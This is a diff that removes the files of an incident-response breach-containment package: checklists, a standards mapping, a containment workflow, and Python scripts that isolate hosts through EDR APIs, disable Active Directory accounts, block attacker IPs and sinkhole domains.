||||
- [ ] Business-critical services tested and operational
|
||||
- [ ] Enhanced monitoring deployed on adjacent systems
|
||||
|
||||
### Monitoring Status
|
||||
| Monitor Type | Scope | Status | Alert Threshold |
|
||||
|-------------|-------|--------|----------------|
|
||||
| Network traffic | Compromised segments | Active/Pending | |
|
||||
| EDR alerts | All endpoints | Active/Pending | |
|
||||
| Authentication logs | Domain-wide | Active/Pending | |
|
||||
| Data loss prevention | Sensitive repositories | Active/Pending | |
|
||||
|
||||
## Business Impact Assessment
|
||||
| Service/System | Impact Level | Workaround Available | Estimated Restore |
|
||||
|---------------|-------------|---------------------|-------------------|
|
||||
| | | | |
|
||||
|
||||
## Next Steps
|
||||
1. [ ] Complete forensic imaging of all compromised systems
|
||||
2. [ ] Begin eradication phase - remove attacker persistence
|
||||
3. [ ] Conduct root cause analysis
|
||||
4. [ ] Prepare for recovery phase
|
||||
5. [ ] Schedule stakeholder briefing
|
||||
|
||||
## Approvals
|
||||
| Role | Name | Signature | Date |
|
||||
|------|------|-----------|------|
|
||||
| Incident Commander | | | |
|
||||
| CISO | | | |
|
||||
| IT Director | | | |
|
||||
| Legal Counsel | | | |
|
||||
@@ -1,41 +0,0 @@
|
||||
# Active Security Breach Containment — API Reference
|
||||
|
||||
## Libraries
|
||||
|
||||
| Library | Install | Purpose |
|
||||
|---------|---------|---------|
|
||||
| requests | `pip install requests` | EDR API calls for host isolation |
|
||||
| falconpy | `pip install crowdstrike-falconpy` | CrowdStrike Falcon SDK |
|
||||
| ldap3 | `pip install ldap3` | AD account disable via LDAP |
|
||||
|
||||
## CrowdStrike Falcon Host Isolation
|
||||
|
||||
```python
|
||||
from falconpy import Hosts
|
||||
hosts = Hosts(client_id="ID", client_secret="SECRET")
|
||||
hosts.perform_action(action_name="contain", ids=["device_id"])
|
||||
```
|
||||
|
||||
## Containment Actions
|
||||
|
||||
| Action | Method | Scope |
|
||||
|--------|--------|-------|
|
||||
| Host Isolation | EDR API (CrowdStrike, Defender) | Single endpoint |
|
||||
| Account Disable | `Disable-ADAccount` / LDAP | User identity |
|
||||
| IP Block | Firewall rule / NGFW API | Network perimeter |
|
||||
| Session Revoke | `Revoke-AzureADUserAllRefreshToken` | Cloud sessions |
|
||||
| Token Invalidation | IdP API | OAuth/SAML tokens |
|
||||
|
||||
## NIST IR Phases
|
||||
|
||||
| Phase | Actions |
|
||||
|-------|---------|
|
||||
| Containment | Isolate, disable, block |
|
||||
| Eradication | Remove malware, patch vulnerabilities |
|
||||
| Recovery | Restore, validate, monitor |
|
||||
|
||||
## External References
|
||||
|
||||
- [CrowdStrike Falcon API](https://falcon.crowdstrike.com/documentation/page/a2a7fc0e/host-and-host-group-management-apis)
|
||||
- [NIST SP 800-61 Rev 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final)
|
||||
- [SANS IR Playbook](https://www.sans.org/white-papers/33901/)
|
||||
@@ -1,66 +0,0 @@
|
||||
# Standards and Framework References
|
||||
|
||||
## NIST SP 800-61 Rev. 3 - Incident Response Recommendations
|
||||
- **Respond (RS) Function**: Containment falls under RS.MI (Incident Mitigation)
|
||||
- RS.MI-01: Incidents are contained
|
||||
- RS.MI-02: Incidents are eradicated
|
||||
- **Detect (DE) Function**: Scope identification maps to DE.AE (Adverse Event Analysis)
|
||||
- DE.AE-02: Potentially adverse events are analyzed to better understand associated activities
|
||||
- DE.AE-03: Information is correlated from multiple sources
|
||||
- Reference: https://csrc.nist.gov/pubs/sp/800/61/r3/final
|
||||
|
||||
## NIST SP 800-61 Rev. 2 - Computer Security Incident Handling Guide
|
||||
- **Section 3.3**: Containment, Eradication, and Recovery
|
||||
- 3.3.1: Choosing a Containment Strategy
|
||||
- 3.3.2: Evidence Gathering and Handling
|
||||
- 3.3.3: Identifying the Attacking Hosts
|
||||
- Containment strategy criteria: potential damage, evidence preservation needs, service availability, time/resources, effectiveness duration, solution scope
|
||||
- Reference: https://csrc.nist.gov/pubs/sp/800/61/r2/final
|
||||
|
||||
## SANS PICERL Framework
|
||||
- **Phase 3 - Containment**: The SANS Incident Handler's Handbook defines containment as actions to limit damage from an incident
|
||||
- Short-term containment: Immediate response to stop the bleeding
|
||||
- System back-up: Forensic image before remediation
|
||||
- Long-term containment: Temporary fixes allowing production use
|
||||
- Reference: https://www.sans.org/white-papers/33901
|
||||
|
||||
## MITRE ATT&CK Framework - Relevant Techniques to Contain
|
||||
|
||||
### Initial Access (TA0001)
|
||||
| Technique ID | Name | Containment Action |
|
||||
|-------------|------|-------------------|
|
||||
| T1566 | Phishing | Block sender, quarantine messages |
|
||||
| T1190 | Exploit Public-Facing Application | Patch/WAF rule, isolate service |
|
||||
| T1133 | External Remote Services | Disable VPN/RDP access |
|
||||
| T1078 | Valid Accounts | Disable/reset compromised accounts |
|
||||
|
||||
### Lateral Movement (TA0008)
|
||||
| Technique ID | Name | Containment Action |
|
||||
|-------------|------|-------------------|
|
||||
| T1021 | Remote Services | Block SMB/RDP/WinRM between segments |
|
||||
| T1550 | Use Alternate Authentication Material | Reset tokens, rotate KRBTGT |
|
||||
| T1570 | Lateral Tool Transfer | Block file sharing protocols |
|
||||
|
||||
### Command and Control (TA0011)
|
||||
| Technique ID | Name | Containment Action |
|
||||
|-------------|------|-------------------|
|
||||
| T1071 | Application Layer Protocol | Block C2 domains/IPs at firewall |
|
||||
| T1573 | Encrypted Channel | SSL inspection, block non-standard TLS |
|
||||
| T1572 | Protocol Tunneling | Block DNS tunneling, inspect traffic |
|
||||
|
||||
### Exfiltration (TA0010)
|
||||
| Technique ID | Name | Containment Action |
|
||||
|-------------|------|-------------------|
|
||||
| T1041 | Exfiltration Over C2 Channel | Sinkhole C2 domains |
|
||||
| T1048 | Exfiltration Over Alternative Protocol | Block DNS/ICMP exfil |
|
||||
| T1567 | Exfiltration Over Web Service | Block cloud storage uploads |
|
||||
|
||||
## CISA Incident Response Playbooks
|
||||
- Federal Government Cybersecurity Incident and Vulnerability Response Playbooks
|
||||
- Containment actions aligned with federal response guidelines
|
||||
- Reference: https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf
|
||||
|
||||
## ISO/IEC 27035 - Information Security Incident Management
|
||||
- Part 2: Guidelines to plan and prepare for incident response
|
||||
- Containment classified as part of "Response" phase
|
||||
- Emphasis on proportional response and business impact consideration
|
||||
@@ -1,107 +0,0 @@
|
||||
# Containing an Active Security Breach - Detailed Workflow
|
||||
|
||||
## Pre-Containment Decision Framework
|
||||
|
||||
### Containment Strategy Selection Matrix
|
||||
| Factor | Low Impact | Medium Impact | High Impact |
|
||||
|--------|-----------|---------------|-------------|
|
||||
| Data sensitivity | Monitor and assess | Partial isolation | Full network isolation |
|
||||
| Active exfiltration | Block egress IPs | Block + isolate segment | Air-gap + full isolation |
|
||||
| Lateral movement | Enhanced monitoring | Segment isolation | Domain-wide lockdown |
|
||||
| Business criticality | Targeted containment | Phased containment | Emergency containment with DR |
|
||||
| Ransomware deployment | Isolate patient zero | Segment + block C2 | Enterprise-wide isolation |
|
||||
|
||||
## Step-by-Step Procedure
|
||||
|
||||
### Phase 1: Incident Validation (0-15 minutes)
|
||||
1. Receive alert from SIEM/EDR/SOC analyst
|
||||
2. Verify alert is true positive by correlating multiple data sources
|
||||
3. Classify incident severity using organization's severity matrix
|
||||
4. Activate incident response team based on severity level
|
||||
5. Establish incident communication channel (war room or Slack/Teams channel)
|
||||
6. Assign Incident Commander and document in ticketing system
|
||||
|
||||
### Phase 2: Scope Assessment (15-45 minutes)
|
||||
1. Query SIEM for all related alerts in the past 72 hours
|
||||
2. Identify all compromised hosts using EDR telemetry
|
||||
3. Map network connections from compromised hosts to identify lateral movement
|
||||
4. Check authentication logs for compromised account usage across systems
|
||||
5. Identify affected data repositories and assess data classification
|
||||
6. Document the attack timeline and current threat actor position
|
||||
7. Determine the attack vector (how did they get in)
|
||||
|
||||
### Phase 3: Short-Term Containment (30-60 minutes)
|
||||
1. **Network Level**:
|
||||
- Block attacker external IPs at perimeter firewall
|
||||
- Sinkhole C2 domains at DNS level
|
||||
- Apply ACLs to isolate compromised network segments
|
||||
- Enable enhanced packet capture on affected segments
|
||||
|
||||
2. **Endpoint Level**:
|
||||
- Network-contain compromised hosts via EDR
|
||||
- Disable compromised user accounts in Active Directory
|
||||
- Revoke OAuth tokens and API keys
|
||||
- Kill malicious processes identified by EDR
|
||||
|
||||
3. **Identity Level**:
|
||||
- Force password reset on compromised accounts
|
||||
- Disable MFA bypass methods used by attacker
|
||||
- Revoke VPN certificates for compromised users
|
||||
- Block compromised service account authentication
|
||||
|
||||
### Phase 4: Evidence Preservation (During Containment)
|
||||
1. Capture live memory from key compromised systems before full isolation
|
||||
2. Export relevant SIEM logs to secure evidence storage
|
||||
3. Take forensic disk images of critical compromised systems
|
||||
4. Preserve network capture data (PCAP) from affected segments
|
||||
5. Screenshot active sessions and running process trees
|
||||
6. Hash all evidence files and create chain of custody documentation
|
||||
|
||||
### Phase 5: Long-Term Containment (1-24 hours)
|
||||
1. Implement network microsegmentation around affected areas
|
||||
2. Deploy additional monitoring sensors in compromised zones
|
||||
3. Set up honeypots to detect continued attacker activity
|
||||
4. Apply temporary firewall rules with logging for affected segments
|
||||
5. Enable enhanced audit logging on systems adjacent to compromise
|
||||
6. Implement file integrity monitoring on critical systems
|
||||
7. Set up network traffic baseline comparison
|
||||
|
||||
### Phase 6: Containment Verification (Ongoing)
|
||||
1. Monitor for new alerts from previously compromised systems
|
||||
2. Verify no new C2 communications from any internal host
|
||||
3. Check for new account creation or privilege escalation attempts
|
||||
4. Validate that isolated systems cannot reach external networks
|
||||
5. Test that critical business services remain functional
|
||||
6. Brief stakeholders on containment status and next steps
|
||||
|
||||
## Escalation Criteria
|
||||
- Containment fails (attacker regains access): Escalate to CISO, consider external IR firm
|
||||
- Business-critical systems affected: Engage business continuity team
|
||||
- Data exfiltration confirmed: Engage legal and compliance teams
|
||||
- Nation-state indicators: Engage FBI/CISA
|
||||
- Ransomware spreading despite containment: Consider full network shutdown
|
||||
|
||||
## Communication Templates
|
||||
|
||||
### Internal Escalation (Initial)
|
||||
```
|
||||
SUBJECT: [SEVERITY-CRITICAL] Active Security Breach - Containment in Progress
|
||||
INCIDENT ID: IR-YYYY-NNN
|
||||
TIME DETECTED: YYYY-MM-DD HH:MM UTC
|
||||
CURRENT STATUS: Containment in progress
|
||||
AFFECTED SYSTEMS: [count] hosts, [count] accounts
|
||||
INCIDENT COMMANDER: [Name]
|
||||
NEXT UPDATE: [time]
|
||||
```
|
||||
|
||||
### Status Update (During Containment)
|
||||
```
|
||||
SUBJECT: [UPDATE] IR-YYYY-NNN - Containment Status
|
||||
CONTAINMENT STATUS: [Partial/Complete/Pending]
|
||||
SYSTEMS ISOLATED: [count]
|
||||
ACCOUNTS DISABLED: [count]
|
||||
C2 COMMUNICATIONS: [Blocked/Active/Unknown]
|
||||
BUSINESS IMPACT: [Description]
|
||||
NEXT STEPS: [Actions]
|
||||
NEXT UPDATE: [time]
|
||||
```
|
||||
@@ -1,119 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Active security breach containment agent for automated response actions."""
|
||||
|
||||
import json
|
||||
import sys
|
||||
import argparse
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
print("Install: pip install requests")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def isolate_host_crowdstrike(api_base, api_token, device_id):
|
||||
"""Isolate a compromised host via CrowdStrike Falcon API."""
|
||||
headers = {"Authorization": f"Bearer {api_token}", "Content-Type": "application/json"}
|
||||
resp = requests.post(f"{api_base}/devices/entities/devices-actions/v2",
|
||||
params={"action_name": "contain"},
|
||||
headers=headers,
|
||||
json={"ids": [device_id]}, timeout=30)
|
||||
return {"action": "host_isolation", "device_id": device_id,
|
||||
"status": resp.status_code, "response": resp.json()}
|
||||
|
||||
|
||||
def disable_ad_account(username, domain_controller):
|
||||
"""Disable compromised AD account via PowerShell."""
|
||||
cmd = ["powershell", "-Command",
|
||||
f"Disable-ADAccount -Identity '{username}' -Server '{domain_controller}' -Confirm:$false"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
|
||||
return {"action": "disable_account", "username": username,
|
||||
"status": "success" if result.returncode == 0 else "failed",
|
||||
"output": result.stderr[:200] if result.stderr else ""}
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired) as e:
|
||||
return {"action": "disable_account", "status": "error", "error": str(e)}
|
||||
|
||||
|
||||
def block_ip_firewall(ip_address):
|
||||
"""Block attacker IP on network firewall."""
|
||||
cmd = ["powershell", "-Command",
|
||||
f"New-NetFirewallRule -DisplayName 'IR-Block-{ip_address}' -Direction Inbound "
|
||||
f"-Action Block -RemoteAddress '{ip_address}' -Profile Any"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=15)
|
||||
return {"action": "block_ip", "ip": ip_address,
|
||||
"status": "success" if result.returncode == 0 else "failed"}
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired) as e:
|
||||
return {"action": "block_ip", "status": "error", "error": str(e)}
|
||||
|
||||
|
||||
def generate_containment_checklist(incident_type):
|
||||
"""Generate containment checklist based on incident type."""
|
||||
checklists = {
|
||||
"ransomware": [
|
||||
{"step": 1, "action": "Isolate affected hosts from network", "priority": "CRITICAL"},
|
||||
{"step": 2, "action": "Disable compromised user accounts", "priority": "CRITICAL"},
|
||||
{"step": 3, "action": "Block C2 IPs and domains at firewall", "priority": "HIGH"},
|
||||
{"step": 4, "action": "Preserve forensic evidence before reimaging", "priority": "HIGH"},
|
||||
{"step": 5, "action": "Reset Kerberos KRBTGT password twice", "priority": "HIGH"},
|
||||
{"step": 6, "action": "Revoke active VPN and remote access sessions", "priority": "HIGH"},
|
||||
{"step": 7, "action": "Notify legal and executive leadership", "priority": "MEDIUM"},
|
||||
],
|
||||
"data_breach": [
|
||||
{"step": 1, "action": "Identify and isolate exfiltration channel", "priority": "CRITICAL"},
|
||||
{"step": 2, "action": "Revoke compromised API keys and tokens", "priority": "CRITICAL"},
|
||||
{"step": 3, "action": "Block external IPs involved in exfiltration", "priority": "HIGH"},
|
||||
{"step": 4, "action": "Preserve logs and network captures", "priority": "HIGH"},
|
||||
{"step": 5, "action": "Assess scope of data exposed", "priority": "HIGH"},
|
||||
{"step": 6, "action": "Engage legal for breach notification requirements", "priority": "MEDIUM"},
|
||||
],
|
||||
"account_compromise": [
|
||||
{"step": 1, "action": "Disable compromised accounts immediately", "priority": "CRITICAL"},
|
||||
{"step": 2, "action": "Revoke all active sessions and tokens", "priority": "CRITICAL"},
|
||||
{"step": 3, "action": "Reset passwords and MFA enrollments", "priority": "HIGH"},
|
||||
{"step": 4, "action": "Review recent account activity and access logs", "priority": "HIGH"},
|
||||
{"step": 5, "action": "Check for persistence mechanisms (forwarding rules, OAuth apps)", "priority": "HIGH"},
|
||||
],
|
||||
}
|
||||
return checklists.get(incident_type, checklists["ransomware"])
|
||||
|
||||
|
||||
def run_containment(incident_type="ransomware"):
|
||||
"""Execute breach containment planning."""
|
||||
print(f"\n{'='*60}")
|
||||
print(f" ACTIVE BREACH CONTAINMENT")
|
||||
print(f" Incident Type: {incident_type}")
|
||||
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
checklist = generate_containment_checklist(incident_type)
|
||||
print(f"--- CONTAINMENT CHECKLIST ---")
|
||||
for item in checklist:
|
||||
print(f" [{item['priority']}] Step {item['step']}: {item['action']}")
|
||||
|
||||
return {"incident_type": incident_type, "checklist": checklist}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Breach Containment Agent")
|
||||
parser.add_argument("--incident-type", choices=["ransomware", "data_breach", "account_compromise"],
|
||||
default="ransomware", help="Type of incident")
|
||||
parser.add_argument("--isolate-host", help="CrowdStrike device ID to isolate")
|
||||
parser.add_argument("--disable-account", help="AD username to disable")
|
||||
parser.add_argument("--block-ip", help="Attacker IP to block")
|
||||
parser.add_argument("--output", help="Save report to JSON file")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = run_containment(args.incident_type)
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,517 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Active Security Breach Containment Automation Script
|
||||
|
||||
Automates containment actions during an active security breach:
|
||||
- Queries SIEM for scope assessment
|
||||
- Isolates endpoints via EDR API
|
||||
- Blocks IPs/domains at firewall
|
||||
- Disables compromised AD accounts
|
||||
- Generates containment action log
|
||||
|
||||
Requirements:
|
||||
pip install requests ldap3 python-dateutil pyyaml
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import csv
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
print("Install requests: pip install requests")
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
from ldap3 import Server, Connection, MODIFY_REPLACE, ALL
|
||||
except ImportError:
|
||||
ldap3_available = False
|
||||
else:
|
||||
ldap3_available = True
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s [%(levelname)s] %(message)s",
|
||||
handlers=[
|
||||
logging.StreamHandler(),
|
||||
logging.FileHandler(f"containment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"),
|
||||
],
|
||||
)
|
||||
logger = logging.getLogger("breach_containment")
|
||||
|
||||
|
||||
class ContainmentActionLog:
|
||||
"""Tracks all containment actions with timestamps for audit trail."""
|
||||
|
||||
def __init__(self, incident_id: str):
|
||||
self.incident_id = incident_id
|
||||
self.actions = []
|
||||
self.start_time = datetime.now(timezone.utc)
|
||||
|
||||
def log_action(self, action_type: str, target: str, result: str, details: str = ""):
|
||||
entry = {
|
||||
"timestamp": datetime.now(timezone.utc).isoformat(),
|
||||
"incident_id": self.incident_id,
|
||||
"action_type": action_type,
|
||||
"target": target,
|
||||
"result": result,
|
||||
"details": details,
|
||||
"operator": os.getenv("USERNAME", os.getenv("USER", "unknown")),
|
||||
}
|
||||
self.actions.append(entry)
|
||||
logger.info(f"[{action_type}] {target}: {result} - {details}")
|
||||
|
||||
def export_csv(self, filepath: str):
|
||||
if not self.actions:
|
||||
logger.warning("No actions to export")
|
||||
return
|
||||
with open(filepath, "w", newline="") as f:
|
||||
writer = csv.DictWriter(f, fieldnames=self.actions[0].keys())
|
||||
writer.writeheader()
|
||||
writer.writerows(self.actions)
|
||||
logger.info(f"Containment log exported to {filepath}")
|
||||
|
||||
def export_json(self, filepath: str):
|
||||
report = {
|
||||
"incident_id": self.incident_id,
|
||||
"containment_start": self.start_time.isoformat(),
|
||||
"containment_end": datetime.now(timezone.utc).isoformat(),
|
||||
"total_actions": len(self.actions),
|
||||
"actions": self.actions,
|
||||
}
|
||||
with open(filepath, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info(f"Containment report exported to {filepath}")
|
||||
|
||||
|
||||
class CrowdStrikeContainment:
|
||||
"""CrowdStrike Falcon endpoint containment via API."""
|
||||
|
||||
def __init__(self, client_id: str, client_secret: str, base_url: str = "https://api.crowdstrike.com"):
|
||||
self.base_url = base_url
|
||||
self.client_id = client_id
|
||||
self.client_secret = client_secret
|
||||
self.token = None
|
||||
|
||||
def authenticate(self):
|
||||
resp = requests.post(
|
||||
f"{self.base_url}/oauth2/token",
|
||||
data={"client_id": self.client_id, "client_secret": self.client_secret},
|
||||
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
self.token = resp.json()["access_token"]
|
||||
logger.info("Authenticated to CrowdStrike Falcon API")
|
||||
|
||||
def _headers(self):
|
||||
return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"}
|
||||
|
||||
def get_device_id_by_hostname(self, hostname: str) -> Optional[str]:
|
||||
resp = requests.get(
|
||||
f"{self.base_url}/devices/queries/devices/v1",
|
||||
headers=self._headers(),
|
||||
params={"filter": f"hostname:'{hostname}'"},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
resources = resp.json().get("resources", [])
|
||||
return resources[0] if resources else None
|
||||
|
||||
def contain_host(self, device_id: str) -> dict:
|
||||
resp = requests.post(
|
||||
f"{self.base_url}/devices/entities/devices-actions/v2",
|
||||
headers=self._headers(),
|
||||
params={"action_name": "contain"},
|
||||
json={"ids": [device_id]},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
def lift_containment(self, device_id: str) -> dict:
|
||||
resp = requests.post(
|
||||
f"{self.base_url}/devices/entities/devices-actions/v2",
|
||||
headers=self._headers(),
|
||||
params={"action_name": "lift_containment"},
|
||||
json={"ids": [device_id]},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
def get_detections(self, severity: str = "Critical") -> list:
|
||||
resp = requests.get(
|
||||
f"{self.base_url}/detects/queries/detects/v1",
|
||||
headers=self._headers(),
|
||||
params={"filter": f"max_severity_displayname:'{severity}'+status:'new'", "limit": 100},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
return resp.json().get("resources", [])
|
||||
|
||||
|
||||
class SentinelOneContainment:
|
||||
"""SentinelOne endpoint containment via API."""
|
||||
|
||||
def __init__(self, api_token: str, base_url: str):
|
||||
self.base_url = base_url
|
||||
self.api_token = api_token
|
||||
|
||||
def _headers(self):
|
||||
return {"Authorization": f"ApiToken {self.api_token}", "Content-Type": "application/json"}
|
||||
|
||||
def disconnect_agent(self, agent_id: str) -> dict:
|
||||
resp = requests.post(
|
||||
f"{self.base_url}/web/api/v2.1/agents/actions/disconnect",
|
||||
headers=self._headers(),
|
||||
json={"filter": {"ids": [agent_id]}, "data": {}},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
def reconnect_agent(self, agent_id: str) -> dict:
|
||||
resp = requests.post(
|
||||
f"{self.base_url}/web/api/v2.1/agents/actions/connect",
|
||||
headers=self._headers(),
|
||||
json={"filter": {"ids": [agent_id]}, "data": {}},
|
||||
)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
|
||||
class ActiveDirectoryContainment:
|
||||
"""Active Directory account containment via LDAP."""
|
||||
|
||||
def __init__(self, server_addr: str, domain: str, username: str, password: str):
|
||||
if not ldap3_available:
|
||||
raise ImportError("ldap3 package required: pip install ldap3")
|
||||
self.server = Server(server_addr, get_info=ALL)
|
||||
self.domain = domain
|
||||
self.conn = Connection(self.server, user=f"{domain}\\{username}", password=password, auto_bind=True)
|
||||
|
||||
def disable_account(self, sam_account_name: str) -> bool:
|
||||
search_base = ",".join([f"DC={part}" for part in self.domain.split(".")])
|
||||
self.conn.search(
|
||||
search_base,
|
||||
f"(sAMAccountName={sam_account_name})",
|
||||
attributes=["userAccountControl", "distinguishedName"],
|
||||
)
|
||||
if not self.conn.entries:
|
||||
logger.warning(f"Account {sam_account_name} not found in AD")
|
||||
return False
|
||||
|
||||
dn = self.conn.entries[0].distinguishedName.value
|
||||
current_uac = int(self.conn.entries[0].userAccountControl.value)
|
||||
# Set ACCOUNTDISABLE flag (bit 1, value 2)
|
||||
new_uac = current_uac | 0x0002
|
||||
self.conn.modify(dn, {"userAccountControl": [(MODIFY_REPLACE, [str(new_uac)])]})
|
||||
logger.info(f"Disabled AD account: {sam_account_name}")
|
||||
return True
|
||||
|
||||
def reset_password(self, sam_account_name: str, new_password: str) -> bool:
|
||||
search_base = ",".join([f"DC={part}" for part in self.domain.split(".")])
|
||||
self.conn.search(search_base, f"(sAMAccountName={sam_account_name})", attributes=["distinguishedName"])
|
||||
if not self.conn.entries:
|
||||
return False
|
||||
dn = self.conn.entries[0].distinguishedName.value
|
||||
encoded_pw = f'"{new_password}"'.encode("utf-16-le")
|
||||
self.conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, [encoded_pw])]})
|
||||
logger.info(f"Reset password for AD account: {sam_account_name}")
|
||||
return True
|
||||
|
||||
|
||||
class FirewallContainment:
|
||||
"""Block IPs and domains at network perimeter."""
|
||||
|
||||
@staticmethod
|
||||
def block_ips_iptables(ip_list: list, chain: str = "INPUT") -> list:
|
||||
results = []
|
||||
for ip in ip_list:
|
||||
try:
|
||||
cmd = ["iptables", "-A", chain, "-s", ip, "-j", "DROP"]
|
||||
subprocess.run(cmd, capture_output=True, text=True, check=True)
|
||||
cmd_out = ["iptables", "-A", "OUTPUT", "-d", ip, "-j", "DROP"]
|
||||
subprocess.run(cmd_out, capture_output=True, text=True, check=True)
|
||||
results.append({"ip": ip, "status": "blocked", "method": "iptables"})
|
||||
logger.info(f"Blocked IP via iptables: {ip}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
results.append({"ip": ip, "status": "failed", "error": str(e)})
|
||||
logger.error(f"Failed to block IP {ip}: {e}")
|
||||
return results
|
||||
|
||||
@staticmethod
|
||||
def block_ips_windows_firewall(ip_list: list) -> list:
|
||||
results = []
|
||||
for ip in ip_list:
|
||||
try:
|
||||
rule_name = f"IR_Block_{ip.replace('.', '_')}"
|
||||
cmd = [
|
||||
"netsh", "advfirewall", "firewall", "add", "rule",
|
||||
f"name={rule_name}", "dir=in", "action=block",
|
||||
f"remoteip={ip}", "protocol=any",
|
||||
]
|
||||
subprocess.run(cmd, capture_output=True, text=True, check=True)
|
||||
cmd_out = [
|
||||
"netsh", "advfirewall", "firewall", "add", "rule",
|
||||
f"name={rule_name}_out", "dir=out", "action=block",
|
||||
f"remoteip={ip}", "protocol=any",
|
||||
]
|
||||
subprocess.run(cmd_out, capture_output=True, text=True, check=True)
|
||||
results.append({"ip": ip, "status": "blocked", "method": "windows_firewall"})
|
||||
logger.info(f"Blocked IP via Windows Firewall: {ip}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
results.append({"ip": ip, "status": "failed", "error": str(e)})
|
||||
logger.error(f"Failed to block IP {ip}: {e}")
|
||||
return results
|
||||
|
||||
@staticmethod
|
||||
def block_domains_hosts_file(domain_list: list) -> list:
|
||||
results = []
|
||||
hosts_path = r"C:\Windows\System32\drivers\etc\hosts" if os.name == "nt" else "/etc/hosts"
|
||||
try:
|
||||
with open(hosts_path, "a") as f:
|
||||
for domain in domain_list:
|
||||
f.write(f"\n0.0.0.0 {domain} # IR Containment Block")
|
||||
results.append({"domain": domain, "status": "sinkholed", "method": "hosts_file"})
|
||||
logger.info(f"Sinkholed domain: {domain}")
|
||||
except PermissionError:
|
||||
logger.error("Insufficient permissions to modify hosts file. Run as administrator.")
|
||||
for domain in domain_list:
|
||||
results.append({"domain": domain, "status": "failed", "error": "permission_denied"})
|
||||
return results
|
||||
|
||||
|
||||
class SplunkScopeAssessment:
|
||||
"""Query Splunk SIEM for incident scope assessment."""
|
||||
|
||||
def __init__(self, base_url: str, token: str):
|
||||
self.base_url = base_url
|
||||
self.token = token
|
||||
|
||||
def _headers(self):
|
||||
return {"Authorization": f"Bearer {self.token}", "Content-Type": "application/json"}
|
||||
|
||||
def search(self, query: str, earliest: str = "-24h", latest: str = "now") -> dict:
|
||||
resp = requests.post(
|
||||
f"{self.base_url}/services/search/jobs",
|
||||
headers=self._headers(),
|
||||
data={
|
||||
"search": f"search {query}",
|
||||
"earliest_time": earliest,
|
||||
"latest_time": latest,
|
||||
"output_mode": "json",
|
||||
},
|
||||
verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments
|
||||
)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
def find_related_hosts(self, attacker_ip: str) -> dict:
|
||||
query = f"""index=security (src_ip="{attacker_ip}" OR dest_ip="{attacker_ip}")
|
||||
| stats count values(dest_ip) as targets values(src_ip) as sources by sourcetype
|
||||
| sort -count"""
|
||||
return self.search(query)
|
||||
|
||||
def find_compromised_accounts(self, host_list: list) -> dict:
|
||||
hosts_filter = " OR ".join([f'src="{h}"' for h in host_list])
|
||||
query = f"""index=security EventCode=4624 ({hosts_filter})
|
||||
| stats count values(src) as source_hosts by Account_Name, Logon_Type
|
||||
| where Logon_Type IN ("3","10")
|
||||
| sort -count"""
|
||||
return self.search(query)
|
||||
|
||||
|
||||
def collect_volatile_evidence(output_dir: str) -> dict:
|
||||
"""Collect volatile evidence from current system before containment."""
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
evidence = {}
|
||||
|
||||
# Network connections
|
||||
try:
|
||||
if os.name == "nt":
|
||||
result = subprocess.run(["netstat", "-anob"], capture_output=True, text=True)
|
||||
else:
|
||||
result = subprocess.run(["ss", "-tulnp"], capture_output=True, text=True)
|
||||
netconn_file = os.path.join(output_dir, "network_connections.txt")
|
||||
with open(netconn_file, "w") as f:
|
||||
f.write(result.stdout)
|
||||
evidence["network_connections"] = {
|
||||
"file": netconn_file,
|
||||
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to collect network connections: {e}")
|
||||
|
||||
# Running processes
|
||||
try:
|
||||
if os.name == "nt":
|
||||
result = subprocess.run(["tasklist", "/V", "/FO", "CSV"], capture_output=True, text=True)
|
||||
else:
|
||||
